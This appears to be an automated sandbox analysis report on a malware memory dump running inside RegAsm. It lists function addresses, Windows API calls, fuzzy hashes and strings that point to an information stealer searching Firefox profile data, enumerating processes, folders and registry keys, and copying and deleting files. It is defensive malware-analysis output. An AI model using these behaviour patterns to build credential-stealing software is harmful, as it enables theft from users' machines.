Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 0040D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,015003D8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01501A30,00420BA6), ref: 0040D801
lstrlenA.KERNEL32(00000000), ref: 0040D99F
lstrlenA.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 0040F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421580,00420D92), ref: 0040F54C
lstrlenA.KERNEL32(00000000), ref: 0040F56B

Strings

^userContextId=4294967295, xrefs: 0040F59C
moz-extension+++, xrefs: 0040F5AD

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction ID: 431312e06e4e118a9a68feb07ac8eaa96768a2afdec7ba1937323e72019175af
Opcode Fuzzy Hash: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction Fuzzy Hash: 19516575D11108AACB04FBB1DC52DED7338AF54314F40852EF81667191EE386B9ACBAA

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00414F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414F7A
lstrcatA.KERNEL32(?,00421070), ref: 00414F97
lstrcatA.KERNEL32(?,014FAAD8), ref: 00414FAB
lstrcatA.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Function 00417E00 Relevance: 6.1, APIs: 4, Instructions: 58memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
HeapAlloc.KERNEL32(00000000), ref: 00417E3E
RegOpenKeyExA.KERNEL32(80000002,014FB080,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.KERNEL32(?,01501288,00000000,00000000,000000FF,000000FF), ref: 00417E7F

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 004012A0 Relevance: 6.0, APIs: 4, Instructions: 39memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014FACF8,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,014FACF8,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 00406D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`o@, xrefs: 00406EAF, 00406E94, 00406DAE, 00406DD2, 00406E5E

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: `o@
API String ID: 0-590292170
Opcode ID: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction ID: c65cc5113f4fbf7636557f8b1f026e9f2285814709fd8c8344c4410f81c0aea8
Opcode Fuzzy Hash: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction Fuzzy Hash: A66138B4900219EFCB14DF94E944BEEB7B1BB04304F1185AAE40A77380D739AEA4DF95

Function 00414BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414BEA
lstrcatA.KERNEL32(?,01500F28), ref: 00414C08

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
